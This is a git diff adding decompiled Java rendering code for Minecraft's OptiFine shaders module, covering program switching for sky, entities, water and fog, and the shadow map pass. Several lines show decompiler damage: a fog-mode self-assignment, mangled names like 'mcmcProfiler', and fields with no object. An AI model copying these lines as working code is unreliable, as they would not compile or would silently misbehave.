+    tess.addVertex(xzn, bot, xzm);
+    tess.addVertex(xzn, top, xzm);
+    tess.addVertex(xzm, top, xzn);
+    tess.addVertex(xzm, bot, xzn);
+    tess.addVertex(xzm, bot, xzn);
+    tess.addVertex(xzm, top, xzn);
+    tess.addVertex(xzm, top, xzp);
+    tess.addVertex(xzm, bot, xzp);
+    tess.addVertex(xzm, bot, xzp);
+    tess.addVertex(xzm, top, xzp);
+    tess.addVertex(xzn, top, xzp);
+    tess.addVertex(xzn, bot, xzp);
+    tess.addVertex(xzn, bot, xzp);
+    tess.addVertex(xzn, top, xzp);
+    tess.addVertex(xzp, top, xzq);
+    tess.addVertex(xzp, bot, xzq);
+    tess.addVertex(xzp, bot, xzq);
+    tess.addVertex(xzp, top, xzq);
+    tess.addVertex(xzq, top, xzp);
+    tess.addVertex(xzq, bot, xzp);
+    tess.addVertex(xzq, bot, xzp);
+    tess.addVertex(xzq, top, xzp);
+    tess.addVertex(xzq, top, xzn);
+    tess.addVertex(xzq, bot, xzn);
+    tess.addVertex(xzq, bot, xzn);
+    tess.addVertex(xzq, top, xzn);
+    tess.addVertex(xzp, top, xzm);
+    tess.addVertex(xzp, bot, xzm);
+    tess.addVertex(xzp, bot, xzm);
+    tess.addVertex(xzp, top, xzm);
+    tess.addVertex(xzn, top, xzm);
+    tess.addVertex(xzn, bot, xzm);
+    Tessellator.getInstance().draw();
+  }
+  
+  public static void preSkyList()
+  {
+    GL11.glColor3f(fogColorR, fogColorG, fogColorB);
+    drawHorizon();
+    GL11.glColor3f(skyColorR, skyColorG, skyColorB);
+  }
+  
+  public static void endSky()
+  {
+    isRenderingSky = false;
+    setDrawBuffers(dfbDrawBuffers);
+    useProgram(lightmapEnabled ? 3 : 2);
+    popEntity();
+  }
+  
+  public static void beginUpdateChunks()
+  {
+    checkGLError("beginUpdateChunks1");
+    checkFramebufferStatus("beginUpdateChunks1");
+    
+    if (!isShadowPass)
+    {
+      useProgram(7);
+    }
+    
+    checkGLError("beginUpdateChunks2");
+    checkFramebufferStatus("beginUpdateChunks2");
+  }
+  
+  public static void endUpdateChunks()
+  {
+    checkGLError("endUpdateChunks1");
+    checkFramebufferStatus("endUpdateChunks1");
+    
+    if (!isShadowPass)
+    {
+      useProgram(7);
+    }
+    
+    checkGLError("endUpdateChunks2");
+    checkFramebufferStatus("endUpdateChunks2");
+  }
+  
+  public static boolean shouldRenderClouds(GameSettings gs)
+  {
+    if (!shaderPackLoaded)
+    {
+      return true;
+    }
+    
+
+    checkGLError("shouldRenderClouds");
+    return isShadowPass ? configCloudShadow : clouds;
+  }
+  
+
+  public static void beginClouds()
+  {
+    fogEnabled = true;
+    pushEntity(-3, 0);
+    useProgram(6);
+  }
+  
+  public static void endClouds()
+  {
+    disableFog();
+    popEntity();
+    useProgram(lightmapEnabled ? 3 : 2);
+  }
+  
+  public static void beginEntities()
+  {
+    if (isRenderingWorld)
+    {
+      useProgram(16);
+      resetDisplayListModels();
+    }
+  }
+  
+  public static void nextEntity(Entity entity)
+  {
+    if (isRenderingWorld)
+    {
+      useProgram(16);
+      setEntityId(entity);
+    }
+  }
+  
+  public static void setEntityId(Entity entity)
+  {
+    if ((isRenderingWorld) && (!isShadowPass) && (uniformEntityId.isDefined()))
+    {
+      int id = net.minecraft.entity.EntityList.getEntityID(entity);
+      uniformEntityId.setValue(id);
+    }
+  }
+  
+  public static void beginSpiderEyes()
+  {
+    if ((isRenderingWorld) && (programsID[18] != programsID[0]))
+    {
+      useProgram(18);
+      GlStateManager.enableAlpha();
+      GlStateManager.alphaFunc(516, 0.0F);
+      GlStateManager.blendFunc(770, 771);
+    }
+  }
+  
+  public static void endEntities()
+  {
+    if (isRenderingWorld)
+    {
+      useProgram(lightmapEnabled ? 3 : 2);
+    }
+  }
+  
+  public static void setEntityColor(float r, float g, float b, float a)
+  {
+    if ((isRenderingWorld) && (!isShadowPass))
+    {
+      uniformEntityColor.setValue(r, g, b, a);
+    }
+  }
+  
+  public static void beginLivingDamage()
+  {
+    if (isRenderingWorld)
+    {
+      ShadersTex.bindTexture(defaultTexture);
+      
+      if (!isShadowPass)
+      {
+        setDrawBuffers(drawBuffersColorAtt0);
+      }
+    }
+  }
+  
+  public static void endLivingDamage()
+  {
+    if ((isRenderingWorld) && (!isShadowPass))
+    {
+      setDrawBuffers(programsDrawBuffers[16]);
+    }
+  }
+  
+  public static void beginBlockEntities()
+  {
+    if (isRenderingWorld)
+    {
+      checkGLError("beginBlockEntities");
+      useProgram(13);
+    }
+  }
+  
+  public static void nextBlockEntity(TileEntity tileEntity)
+  {
+    if (isRenderingWorld)
+    {
+      checkGLError("nextBlockEntity");
+      useProgram(13);
+      setBlockEntityId(tileEntity);
+    }
+  }
+  
+  public static void setBlockEntityId(TileEntity tileEntity)
+  {
+    if ((isRenderingWorld) && (!isShadowPass) && (uniformBlockEntityId.isDefined()))
+    {
+      Block block = tileEntity.getBlockType();
+      int blockId = Block.getIdFromBlock(block);
+      uniformBlockEntityId.setValue(blockId);
+    }
+  }
+  
+  public static void endBlockEntities()
+  {
+    if (isRenderingWorld)
+    {
+      checkGLError("endBlockEntities");
+      useProgram(lightmapEnabled ? 3 : 2);
+      ShadersTex.bindNSTextures(defaultTexture.getMultiTexID());
+    }
+  }
+  
+  public static void beginLitParticles()
+  {
+    useProgram(3);
+  }
+  
+  public static void beginParticles()
+  {
+    useProgram(2);
+  }
+  
+  public static void endParticles()
+  {
+    useProgram(3);
+  }
+  
+  public static void readCenterDepth()
+  {
+    if ((!isShadowPass) && (centerDepthSmoothEnabled))
+    {
+      tempDirectFloatBuffer.clear();
+      GL11.glReadPixels(renderWidth / 2, renderHeight / 2, 1, 1, 6402, 5126, tempDirectFloatBuffer);
+      centerDepth = tempDirectFloatBuffer.get(0);
+      float fadeScalar = (float)diffSystemTime * 0.01F;
+      float fadeFactor = (float)Math.exp(Math.log(0.5D) * fadeScalar / centerDepthSmoothHalflife);
+      centerDepthSmooth = centerDepthSmooth * fadeFactor + centerDepth * (1.0F - fadeFactor);
+    }
+  }
+  
+  public static void beginWeather()
+  {
+    if (!isShadowPass)
+    {
+      if (usedDepthBuffers >= 3)
+      {
+        GlStateManager.setActiveTexture(33996);
+        GL11.glCopyTexSubImage2D(3553, 0, 0, 0, 0, 0, renderWidth, renderHeight);
+        GlStateManager.setActiveTexture(33984);
+      }
+      
+      GlStateManager.enableDepth();
+      GlStateManager.enableBlend();
+      GlStateManager.blendFunc(770, 771);
+      GlStateManager.enableAlpha();
+      useProgram(20);
+    }
+  }
+  
+  public static void endWeather()
+  {
+    GlStateManager.disableBlend();
+    useProgram(3);
+  }
+  
+  public static void preWater()
+  {
+    if (usedDepthBuffers >= 2)
+    {
+      GlStateManager.setActiveTexture(33995);
+      checkGLError("pre copy depth");
+      GL11.glCopyTexSubImage2D(3553, 0, 0, 0, 0, 0, renderWidth, renderHeight);
+      checkGLError("copy depth");
+      GlStateManager.setActiveTexture(33984);
+    }
+    
+    ShadersTex.bindNSTextures(defaultTexture.getMultiTexID());
+  }
+  
+  public static void beginWater()
+  {
+    if (isRenderingWorld)
+    {
+      if (!isShadowPass)
+      {
+        useProgram(12);
+        GlStateManager.enableBlend();
+        GlStateManager.depthMask(true);
+      }
+      else
+      {
+        GlStateManager.depthMask(true);
+      }
+    }
+  }
+  
+  public static void endWater()
+  {
+    if (isRenderingWorld)
+    {
+
+
+
+
+
+      useProgram((!isShadowPass) || (lightmapEnabled) ? 3 : 2);
+    }
+  }
+  
+  public static void beginProjectRedHalo()
+  {
+    if (isRenderingWorld)
+    {
+      useProgram(1);
+    }
+  }
+  
+  public static void endProjectRedHalo()
+  {
+    if (isRenderingWorld)
+    {
+      useProgram(3);
+    }
+  }
+  
+  public static void applyHandDepth()
+  {
+    if (configHandDepthMul != 1.0D)
+    {
+      GL11.glScaled(1.0D, 1.0D, configHandDepthMul);
+    }
+  }
+  
+  public static void beginHand()
+  {
+    GL11.glMatrixMode(5888);
+    GL11.glPushMatrix();
+    GL11.glMatrixMode(5889);
+    GL11.glPushMatrix();
+    GL11.glMatrixMode(5888);
+    useProgram(19);
+    checkGLError("beginHand");
+    checkFramebufferStatus("beginHand");
+  }
+  
+  public static void endHand()
+  {
+    checkGLError("pre endHand");
+    checkFramebufferStatus("pre endHand");
+    GL11.glMatrixMode(5889);
+    GL11.glPopMatrix();
+    GL11.glMatrixMode(5888);
+    GL11.glPopMatrix();
+    GlStateManager.blendFunc(770, 771);
+    checkGLError("endHand");
+  }
+  
+  public static void beginFPOverlay()
+  {
+    GlStateManager.disableLighting();
+    GlStateManager.disableBlend();
+  }
+  
+
+
+  public static void glEnableWrapper(int cap)
+  {
+    GL11.glEnable(cap);
+    
+    if (cap == 3553)
+    {
+      enableTexture2D();
+    }
+    else if (cap == 2912)
+    {
+      enableFog();
+    }
+  }
+  
+  public static void glDisableWrapper(int cap)
+  {
+    GL11.glDisable(cap);
+    
+    if (cap == 3553)
+    {
+      disableTexture2D();
+    }
+    else if (cap == 2912)
+    {
+      disableFog();
+    }
+  }
+  
+  public static void sglEnableT2D(int cap)
+  {
+    GL11.glEnable(cap);
+    enableTexture2D();
+  }
+  
+  public static void sglDisableT2D(int cap)
+  {
+    GL11.glDisable(cap);
+    disableTexture2D();
+  }
+  
+  public static void sglEnableFog(int cap)
+  {
+    GL11.glEnable(cap);
+    enableFog();
+  }
+  
+  public static void sglDisableFog(int cap)
+  {
+    GL11.glDisable(cap);
+    disableFog();
+  }
+  
+  public static void enableTexture2D()
+  {
+    if (isRenderingSky)
+    {
+      useProgram(5);
+    }
+    else if (activeProgram == 1)
+    {
+      useProgram(lightmapEnabled ? 3 : 2);
+    }
+  }
+  
+  public static void disableTexture2D()
+  {
+    if (isRenderingSky)
+    {
+      useProgram(4);
+    }
+    else if ((activeProgram == 2) || (activeProgram == 3))
+    {
+      useProgram(1);
+    }
+  }
+  
+  public static void beginLeash()
+  {
+    useProgram(1);
+  }
+  
+  public static void endLeash()
+  {
+    useProgram(16);
+  }
+  
+  public static void enableFog()
+  {
+    fogEnabled = true;
+    setProgramUniform1i("fogMode", fogMode);
+  }
+  
+  public static void disableFog()
+  {
+    fogEnabled = false;
+    setProgramUniform1i("fogMode", 0);
+  }
+  
+  public static void setFog(int fogMode)
+  {
+    GlStateManager.setFog(fogMode);
+    fogMode = fogMode;
+    
+    if (fogEnabled)
+    {
+      setProgramUniform1i("fogMode", fogMode);
+    }
+  }
+  
+  public static void sglFogi(int pname, int param)
+  {
+    GL11.glFogi(pname, param);
+    
+    if (pname == 2917)
+    {
+      fogMode = param;
+      
+      if (fogEnabled)
+      {
+        setProgramUniform1i("fogMode", fogMode);
+      }
+    }
+  }
+  
+  public static void enableLightmap()
+  {
+    lightmapEnabled = true;
+    
+    if (activeProgram == 2)
+    {
+      useProgram(3);
+    }
+  }
+  
+  public static void disableLightmap()
+  {
+    lightmapEnabled = false;
+    
+    if (activeProgram == 3)
+    {
+      useProgram(2);
+    }
+  }
+  
+  public static int getEntityData()
+  {
+    return entityData[(entityDataIndex * 2)];
+  }
+  
+  public static int getEntityData2()
+  {
+    return entityData[(entityDataIndex * 2 + 1)];
+  }
+  
+  public static int setEntityData1(int data1)
+  {
+    entityData[(entityDataIndex * 2)] = (entityData[(entityDataIndex * 2)] & 0xFFFF | data1 << 16);
+    return data1;
+  }
+  
+  public static int setEntityData2(int data2)
+  {
+    entityData[(entityDataIndex * 2 + 1)] = (entityData[(entityDataIndex * 2 + 1)] & 0xFFFF0000 | data2 & 0xFFFF);
+    return data2;
+  }
+  
+  public static void pushEntity(int data0, int data1)
+  {
+    entityDataIndex += 1;
+    entityData[(entityDataIndex * 2)] = (data0 & 0xFFFF | data1 << 16);
+    entityData[(entityDataIndex * 2 + 1)] = 0;
+  }
+  
+  public static void pushEntity(int data0)
+  {
+    entityDataIndex += 1;
+    entityData[(entityDataIndex * 2)] = (data0 & 0xFFFF);
+    entityData[(entityDataIndex * 2 + 1)] = 0;
+  }
+  
+  public static void pushEntity(Block block)
+  {
+    entityDataIndex += 1;
+    entityData[(entityDataIndex * 2)] = (Block.blockRegistry.getIDForObject(block) & 0xFFFF | block.getRenderType() << 16);
+    entityData[(entityDataIndex * 2 + 1)] = 0;
+  }
+  
+  public static void popEntity()
+  {
+    entityData[(entityDataIndex * 2)] = 0;
+    entityData[(entityDataIndex * 2 + 1)] = 0;
+    entityDataIndex -= 1;
+  }
+  
+  public static void mcProfilerEndSection()
+  {
+    mcmcProfiler.endSection();
+  }
+  
+  public static String getShaderPackName()
+  {
+    return (shaderPack instanceof ShaderPackNone) ? null : shaderPack == null ? null : shaderPack.getName();
+  }
+  
+  public static void nextAntialiasingLevel()
+  {
+    configAntialiasingLevel += 2;
+    configAntialiasingLevel = configAntialiasingLevel / 2 * 2;
+    
+    if (configAntialiasingLevel > 4)
+    {
+      configAntialiasingLevel = 0;
+    }
+    
+    configAntialiasingLevel = Config.limit(configAntialiasingLevel, 0, 4);
+  }
+  
+  public static void checkShadersModInstalled()
+  {
+    try
+    {
+      Class localClass = Class.forName("shadersmod.transform.SMCClassTransformer");
+    }
+    catch (Throwable var1)
+    {
+      return;
+    }
+    
+    throw new RuntimeException("Shaders Mod detected. Please remove it, OptiFine has built-in support for shaders.");
+  }
+  
+
+
+
+
+
+  private static void loadShaderPackResources()
+  {
+    shaderPackResources = new HashMap();
+    
+    if (shaderPackLoaded)
+    {
+      ArrayList listFiles = new ArrayList();
+      String PREFIX = "/shaders/lang/";
+      String EN_US = "en_US";
+      String SUFFIX = ".lang";
+      listFiles.add(PREFIX + EN_US + SUFFIX);
+      
+      if (!getGameSettingslanguage.equals(EN_US))
+      {
+        listFiles.add(PREFIX + getGameSettingslanguage + SUFFIX);
+      }
+      
+      try
+      {
+        Iterator e = listFiles.iterator();
+        
+        while (e.hasNext())
+        {
+          String file = (String)e.next();
+          InputStream in = shaderPack.getResourceAsStream(file);
+          
+          if (in != null)
+          {
+            Properties props = new Properties();
+            Lang.loadLocaleData(in, props);
+            in.close();
+            Set keys = props.keySet();
+            Iterator itp = keys.iterator();
+            
+            while (itp.hasNext())
+            {
+              String key = (String)itp.next();
+              String value = props.getProperty(key);
+              shaderPackResources.put(key, value);
+            }
+          }
+        }
+      }
+      catch (IOException var12)
+      {
+        var12.printStackTrace();
+      }
+    }
+  }
+  
+  public static String translate(String key, String def)
+  {
+    String str = (String)shaderPackResources.get(key);
+    return str == null ? def : str;
+  }
+  
+  public static boolean isProgramPath(String program)
+  {
+    if (program == null)
+    {
+      return false;
+    }
+    if (program.length() <= 0)
+    {
+      return false;
+    }
+    
+
+    int pos = program.lastIndexOf("/");
+    
+    if (pos >= 0)
+    {
+      program = program.substring(pos + 1);
+    }
+    
+    return Arrays.asList(programNames).contains(program);
+  }
+  
+
+  static
+  {
+    drawBuffersNone.limit(0);
+    drawBuffersColorAtt0.put(36064).position(0).limit(1); }
+  private static final Pattern gbufferFormatPattern = Pattern.compile("[ \t]*const[ \t]*int[ \t]*(\\w+)Format[ \t]*=[ \t]*([RGBA81632FUI_SNORM]*)[ \t]*;.*");
+  private static final Pattern gbufferMipmapEnabledPattern = Pattern.compile("[ \t]*const[ \t]*bool[ \t]*(\\w+)MipmapEnabled[ \t]*=[ \t]*true[ \t]*;.*");
+  private static final String[] formatNames = { "R8", "RG8", "RGB8", "RGBA8", "R8_SNORM", "RG8_SNORM", "RGB8_SNORM", "RGBA8_SNORM", "R16", "RG16", "RGB16", "RGBA16", "R16_SNORM", "RG16_SNORM", "RGB16_SNORM", "RGBA16_SNORM", "R32F", "RG32F", "RGB32F", "RGBA32F", "R32I", "RG32I", "RGB32I", "RGBA32I", "R32UI", "RG32UI", "RGB32UI", "RGBA32UI" };
+  private static final int[] formatIds = { 33321, 33323, 32849, 32856, 36756, 36757, 36758, 36759, 33322, 33324, 32852, 32859, 36760, 36761, 36762, 36763, 33326, 33328, 34837, 34836, 33333, 33339, 36227, 36226, 33334, 33340, 36209, 36208 };
+  private static final Pattern patternLoadEntityDataMap = Pattern.compile("\\s*([\\w:]+)\\s*=\\s*([-]?\\d+)\\s*");
+  public static int[] entityData = new int[32];
+  public static int entityDataIndex = 0;
+  
+  public Shaders() {}
+  
+  static class NamelessClass341846571 {
+    static final int[] $SwitchMap$shadersmod$client$EnumShaderOption = new int[EnumShaderOption.values().length];
+    
+    static
+    {
+      try
+      {
+        $SwitchMap$shadersmod$client$EnumShaderOption[EnumShaderOption.ANTIALIASING.ordinal()] = 1;
+      }
+      catch (NoSuchFieldError localNoSuchFieldError1) {}
+      
+
+
+
+      try
+      {
+        $SwitchMap$shadersmod$client$EnumShaderOption[EnumShaderOption.NORMAL_MAP.ordinal()] = 2;
+      }
+      catch (NoSuchFieldError localNoSuchFieldError2) {}
+      
+
+
+
+      try
+      {
+        $SwitchMap$shadersmod$client$EnumShaderOption[EnumShaderOption.SPECULAR_MAP.ordinal()] = 3;
+      }
+      catch (NoSuchFieldError localNoSuchFieldError3) {}
+      
+
+
+
+      try
+      {
+        $SwitchMap$shadersmod$client$EnumShaderOption[EnumShaderOption.RENDER_RES_MUL.ordinal()] = 4;
+      }
+      catch (NoSuchFieldError localNoSuchFieldError4) {}
+      
+
+
+
+      try
+      {
+        $SwitchMap$shadersmod$client$EnumShaderOption[EnumShaderOption.SHADOW_RES_MUL.ordinal()] = 5;
+      }
+      catch (NoSuchFieldError localNoSuchFieldError5) {}
+      
+
+
+
+      try
+      {
+        $SwitchMap$shadersmod$client$EnumShaderOption[EnumShaderOption.HAND_DEPTH_MUL.ordinal()] = 6;
+      }
+      catch (NoSuchFieldError localNoSuchFieldError6) {}
+      
+
+
+
+      try
+      {
+        $SwitchMap$shadersmod$client$EnumShaderOption[EnumShaderOption.CLOUD_SHADOW.ordinal()] = 7;
+      }
+      catch (NoSuchFieldError localNoSuchFieldError7) {}
+      
+
+
+
+      try
+      {
+        $SwitchMap$shadersmod$client$EnumShaderOption[EnumShaderOption.OLD_LIGHTING.ordinal()] = 8;
+      }
+      catch (NoSuchFieldError localNoSuchFieldError8) {}
+      
+
+
+
+      try
+      {
+        $SwitchMap$shadersmod$client$EnumShaderOption[EnumShaderOption.SHADER_PACK.ordinal()] = 9;
+      }
+      catch (NoSuchFieldError localNoSuchFieldError9) {}
+      
+
+
+
+      try
+      {
+        $SwitchMap$shadersmod$client$EnumShaderOption[EnumShaderOption.TWEAK_BLOCK_DAMAGE.ordinal()] = 10;
+      }
+      catch (NoSuchFieldError localNoSuchFieldError10) {}
+      
+
+
+
+      try
+      {
+        $SwitchMap$shadersmod$client$EnumShaderOption[EnumShaderOption.SHADOW_CLIP_FRUSTRUM.ordinal()] = 11;
+      }
+      catch (NoSuchFieldError localNoSuchFieldError11) {}
+      
+
+
+
+      try
+      {
+        $SwitchMap$shadersmod$client$EnumShaderOption[EnumShaderOption.TEX_MIN_FIL_B.ordinal()] = 12;
+      }
+      catch (NoSuchFieldError localNoSuchFieldError12) {}
+      
+
+
+
+      try
+      {
+        $SwitchMap$shadersmod$client$EnumShaderOption[EnumShaderOption.TEX_MIN_FIL_N.ordinal()] = 13;
+      }
+      catch (NoSuchFieldError localNoSuchFieldError13) {}
+      
+
+
+
+      try
+      {
+        $SwitchMap$shadersmod$client$EnumShaderOption[EnumShaderOption.TEX_MIN_FIL_S.ordinal()] = 14;
+      }
+      catch (NoSuchFieldError localNoSuchFieldError14) {}
+      
+
+
+
+      try
+      {
+        $SwitchMap$shadersmod$client$EnumShaderOption[EnumShaderOption.TEX_MAG_FIL_B.ordinal()] = 15;
+      }
+      catch (NoSuchFieldError localNoSuchFieldError15) {}
+      
+
+
+
+      try
+      {
+        $SwitchMap$shadersmod$client$EnumShaderOption[EnumShaderOption.TEX_MAG_FIL_N.ordinal()] = 16;
+      }
+      catch (NoSuchFieldError localNoSuchFieldError16) {}
+      
+
+
+
+      try
+      {
+        $SwitchMap$shadersmod$client$EnumShaderOption[EnumShaderOption.TEX_MAG_FIL_S.ordinal()] = 17;
+      }
+      catch (NoSuchFieldError localNoSuchFieldError17) {}
+    }
+    
+    NamelessClass341846571() {}
+  }
+  
+  static void checkOptifine() {}
+  
+  public static void endFPOverlay() {}
+  
+  public static void resourcesReloaded() {}
+}
diff --git a/src/minecraft/shadersmod/client/ShadersRender.java b/src/minecraft/shadersmod/client/ShadersRender.java
new file mode 100644
index 0000000..65cc699
--- /dev/null
+++ b/src/minecraft/shadersmod/client/ShadersRender.java
@@ -0,0 +1,444 @@
+package shadersmod.client;
+
+import java.nio.IntBuffer;
+import net.minecraft.block.Block;
+import net.minecraft.client.Minecraft;
+import net.minecraft.client.renderer.EntityRenderer;
+import net.minecraft.client.renderer.GlStateManager;
+import net.minecraft.client.renderer.ItemRenderer;
+import net.minecraft.client.renderer.OpenGlHelper;
+import net.minecraft.client.renderer.RenderGlobal;
+import net.minecraft.client.renderer.culling.Frustrum;
+import net.minecraft.client.renderer.texture.TextureManager;
+import net.minecraft.client.renderer.texture.TextureMap;
+import net.minecraft.client.settings.GameSettings;
+import net.minecraft.entity.Entity;
+import net.minecraft.item.ItemBlock;
+import net.minecraft.profiler.Profiler;
+import net.minecraft.util.EnumWorldBlockLayer;
+import optifine.Reflector;
+import org.lwjgl.opengl.EXTFramebufferObject;
+import org.lwjgl.opengl.GL11;
+import org.lwjgl.opengl.GL20;
+import org.lwjgl.opengl.GL30;
+
+public class ShadersRender
+{
+  public ShadersRender() {}
+  
+  public static void setFrustrumPosition(Frustrum frustrum, double x, double y, double z)
+  {
+    frustrum.setPosition(x, y, z);
+  }
+  
+  public static void setupTerrain(RenderGlobal renderGlobal, Entity viewEntity, double partialTicks, net.minecraft.client.renderer.culling.ICamera camera, int frameCount, boolean playerSpectator)
+  {
+    renderGlobal.func_174970_a(viewEntity, partialTicks, camera, frameCount, playerSpectator);
+  }
+  
+  public static void updateChunks(RenderGlobal renderGlobal, long finishTimeNano)
+  {
+    renderGlobal.func_174967_a(finishTimeNano);
+  }
+  
+  public static void beginTerrainSolid()
+  {
+    if (Shaders.isRenderingWorld)
+    {
+      Shaders.fogEnabled = true;
+      Shaders.useProgram(7);
+    }
+  }
+  
+  public static void beginTerrainCutoutMipped()
+  {
+    if (Shaders.isRenderingWorld)
+    {
+      Shaders.useProgram(7);
+    }
+  }
+  
+  public static void beginTerrainCutout()
+  {
+    if (Shaders.isRenderingWorld)
+    {
+      Shaders.useProgram(7);
+    }
+  }
+  
+  public static void endTerrain()
+  {
+    if (Shaders.isRenderingWorld)
+    {
+      Shaders.useProgram(3);
+    }
+  }
+  
+  public static void beginTranslucent()
+  {
+    if (Shaders.isRenderingWorld)
+    {
+      if (Shaders.usedDepthBuffers >= 2)
+      {
+        GlStateManager.setActiveTexture(33995);
+        Shaders.checkGLError("pre copy depth");
+        GL11.glCopyTexSubImage2D(3553, 0, 0, 0, 0, 0, Shaders.renderWidth, Shaders.renderHeight);
+        Shaders.checkGLError("copy depth");
+        GlStateManager.setActiveTexture(33984);
+      }
+      
+      Shaders.useProgram(12);
+    }
+  }
+  
+  public static void endTranslucent()
+  {
+    if (Shaders.isRenderingWorld)
+    {
+      Shaders.useProgram(3);
+    }
+  }
+  
+  public static void renderHand0(EntityRenderer er, float par1, int par2)
+  {
+    if (!Shaders.isShadowPass)
+    {
+      net.minecraft.item.Item item = Shaders.itemToRender != null ? Shaders.itemToRender.getItem() : null;
+      Block block = (item instanceof ItemBlock) ? ((ItemBlock)item).getBlock() : null;
+      
+      if ((!(item instanceof ItemBlock)) || (!(block instanceof Block)) || (block.getBlockLayer() == EnumWorldBlockLayer.SOLID))
+      {
+        Shaders.readCenterDepth();
+        Shaders.beginHand();
+        GL11.glColor4f(1.0F, 1.0F, 1.0F, 1.0F);
+        er.renderHand(par1, par2);
+        Shaders.endHand();
+        Shaders.isHandRendered = true;
+      }
+    }
+  }
+  
+  public static void renderHand1(EntityRenderer er, float par1, int par2)
+  {
+    if ((!Shaders.isShadowPass) && (!Shaders.isHandRendered))
+    {
+      Shaders.readCenterDepth();
+      GlStateManager.enableBlend();
+      Shaders.beginHand();
+      GL11.glColor4f(1.0F, 1.0F, 1.0F, 1.0F);
+      er.renderHand(par1, par2);
+      Shaders.endHand();
+      Shaders.isHandRendered = true;
+    }
+  }
+  
+  public static void renderItemFP(ItemRenderer itemRenderer, float par1)
+  {
+    GlStateManager.depthMask(true);
+    GlStateManager.depthFunc(515);
+    GL11.glColor4f(1.0F, 1.0F, 1.0F, 1.0F);
+    itemRenderer.renderItemInFirstPerson(par1);
+  }
+  
+  public static void renderFPOverlay(EntityRenderer er, float par1, int par2)
+  {
+    if (!Shaders.isShadowPass)
+    {
+      Shaders.beginFPOverlay();
+      er.renderHand(par1, par2);
+      Shaders.endFPOverlay();
+    }
+  }
+  
+  public static void beginBlockDamage()
+  {
+    if (Shaders.isRenderingWorld)
+    {
+      Shaders.useProgram(11);
+      
+      if (Shaders.programsID[11] == Shaders.programsID[7])
+      {
+        Shaders.setDrawBuffers(Shaders.drawBuffersColorAtt0);
+        GlStateManager.depthMask(false);
+      }
+    }
+  }
+  
+  public static void endBlockDamage()
+  {
+    if (Shaders.isRenderingWorld)
+    {
+      GlStateManager.depthMask(true);
+      Shaders.useProgram(3);
+    }
+  }
+  
+  public static void renderShadowMap(EntityRenderer entityRenderer, int pass, float partialTicks, long finishTimeNano)
+  {
+    if ((Shaders.usedShadowDepthBuffers > 0) && (--Shaders.shadowPassCounter <= 0))
+    {
+      Minecraft mc = Minecraft.getMinecraft();
+      mcProfiler.endStartSection("shadow pass");
+      RenderGlobal renderGlobal = renderGlobal;
+      Shaders.isShadowPass = true;
+      Shaders.shadowPassCounter = Shaders.shadowPassInterval;
+      Shaders.preShadowPassThirdPersonView = gameSettings.thirdPersonView;
+      gameSettings.thirdPersonView = 1;
+      Shaders.checkGLError("pre shadow");
+      GL11.glMatrixMode(5889);
+      GL11.glPushMatrix();
+      GL11.glMatrixMode(5888);
+      GL11.glPushMatrix();
+      mcProfiler.endStartSection("shadow clear");
+      EXTFramebufferObject.glBindFramebufferEXT(36160, Shaders.sfb);
+      Shaders.checkGLError("shadow bind sfb");
+      Shaders.useProgram(30);
+      mcProfiler.endStartSection("shadow camera");
+      entityRenderer.setupCameraTransform(partialTicks, 2);
+      Shaders.setCameraShadow(partialTicks);
+      net.minecraft.client.renderer.ActiveRenderInfo.updateRenderInfo(thePlayer, gameSettings.thirdPersonView == 2);
+      Shaders.checkGLError("shadow camera");
+      GL20.glDrawBuffers(Shaders.sfbDrawBuffers);
+      Shaders.checkGLError("shadow drawbuffers");
+      GL11.glReadBuffer(0);
+      Shaders.checkGLError("shadow readbuffer");
+      EXTFramebufferObject.glFramebufferTexture2DEXT(36160, 36096, 3553, Shaders.sfbDepthTextures.get(0), 0);
+      
+      if (Shaders.usedShadowColorBuffers != 0)
+      {
+        EXTFramebufferObject.glFramebufferTexture2DEXT(36160, 36064, 3553, Shaders.sfbColorTextures.get(0), 0);
+      }
+      
+      Shaders.checkFramebufferStatus("shadow fb");
+      GL11.glClearColor(1.0F, 1.0F, 1.0F, 1.0F);
+      GL11.glClear(Shaders.usedShadowColorBuffers != 0 ? 16640 : 256);
+      Shaders.checkGLError("shadow clear");
+      mcProfiler.endStartSection("shadow frustum");
+      net.minecraft.client.renderer.culling.ClippingHelper clippingHelper = ClippingHelperShadow.getInstance();
+      mcProfiler.endStartSection("shadow culling");
+      Frustrum frustum = new Frustrum(clippingHelper);
+      Entity viewEntity = mc.func_175606_aa();
+      double viewPosX = lastTickPosX + (posX - lastTickPosX) * partialTicks;
+      double viewPosY = lastTickPosY + (posY - lastTickPosY) * partialTicks;
+      double viewPosZ = lastTickPosZ + (posZ - lastTickPosZ) * partialTicks;
+      frustum.setPosition(viewPosX, viewPosY, viewPosZ);
+      GlStateManager.shadeModel(7425);
+      GlStateManager.enableDepth();
+      GlStateManager.depthFunc(515);
+      GlStateManager.depthMask(true);
+      GlStateManager.colorMask(true, true, true, true);
+      GlStateManager.disableCull();
+      mcProfiler.endStartSection("shadow prepareterrain");
+      mc.getTextureManager().bindTexture(TextureMap.locationBlocksTexture);
+      mcProfiler.endStartSection("shadow setupterrain");
+      boolean frameCount = false;
+      int var17 = field_175084_ae;
+      field_175084_ae = (var17 + 1);
+      renderGlobal.func_174970_a(viewEntity, partialTicks, frustum, var17, thePlayer.func_175149_v());
+      mcProfiler.endStartSection("shadow updatechunks");
+      mcProfiler.endStartSection("shadow terrain");
+      GlStateManager.matrixMode(5888);
+      GlStateManager.pushMatrix();
+      GlStateManager.disableAlpha();
+      renderGlobal.func_174977_a(EnumWorldBlockLayer.SOLID, partialTicks, 2, viewEntity);
+      Shaders.checkGLError("shadow terrain solid");
+      GlStateManager.enableAlpha();
+      renderGlobal.func_174977_a(EnumWorldBlockLayer.CUTOUT_MIPPED, partialTicks, 2, viewEntity);
+      Shaders.checkGLError("shadow terrain cutoutmipped");
+      mc.getTextureManager().getTexture(TextureMap.locationBlocksTexture).func_174936_b(false, false);
+      renderGlobal.func_174977_a(EnumWorldBlockLayer.CUTOUT, partialTicks, 2, viewEntity);
+      Shaders.checkGLError("shadow terrain cutout");
+      mc.getTextureManager().getTexture(TextureMap.locationBlocksTexture).func_174935_a();
+      GlStateManager.shadeModel(7424);
+      GlStateManager.alphaFunc(516, 0.1F);
+      GlStateManager.matrixMode(5888);
+      GlStateManager.popMatrix();
+      GlStateManager.pushMatrix();
+      mcProfiler.endStartSection("shadow entities");
+      
+      if (Reflector.ForgeHooksClient_setRenderPass.exists())
+      {
+        Reflector.callVoid(Reflector.ForgeHooksClient_setRenderPass, new Object[] { Integer.valueOf(0) });
+      }
+      
